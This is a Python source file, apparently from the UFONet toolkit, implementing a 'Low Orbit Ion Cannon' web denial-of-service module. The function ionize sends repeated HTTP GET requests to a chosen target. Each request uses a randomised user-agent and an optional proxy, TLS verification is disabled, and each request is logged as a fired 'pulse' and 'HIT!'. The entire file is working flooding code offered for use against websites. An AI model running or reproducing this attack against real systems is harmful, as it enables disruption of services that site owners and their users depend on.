loic.py 2.1 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random
  11. try:
  12. import requests
  13. import urllib3
  14. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  15. except ImportError:
  16. from core._ensure import ensure
  17. if ensure('requests') is None or ensure('urllib3') is None:
  18. print("\nError importing: requests lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-requests'\n")
  19. sys.exit(2)
  20. import requests
  21. import urllib3
  22. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  23. # UFONet DoS Web LOIC (Low Orbit Ion Cannon)
  24. def ionize(self, target, rounds, proxy):
  25. n=0
  26. try:
  27. proxyD = {
  28. "http" : proxy,
  29. }
  30. for i in range(0, int(rounds)):
  31. n=n+1
  32. self.user_agent = random.choice(self.agents).strip()
  33. headers = {'User-Agent': str(self.user_agent)}
  34. try:
  35. r = requests.get(target, headers=headers, proxies=proxyD, verify=False)
  36. print("[Info] [AI] [LOIC] Firing 'pulse' ["+str(n)+"] -> [HIT!]")
  37. except:
  38. print("[Error] [AI] LOIC: Failed to engage with 'pulse' ["+str(n)+"]")
  39. except:
  40. print("[Error] [AI] [LOIC] Failing to engage... -> Is still target online? -> [Checking!]")
  41. class LOIC(object):
  42. def __init__(self):
  43. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  44. self.agents = []
  45. f = open(self.agents_file)
  46. agents = f.readlines()
  47. f.close()
  48. for agent in agents:
  49. self.agents.append(agent)
  50. def attacking(self, target, rounds, proxy):
  51. print("[Info] [AI] Low Orbit Ion Cannon (LOIC) is ready to fire: [" , rounds, "pulses ]")
  52. ionize(self, target, rounds, proxy) # attack with LOIC using threading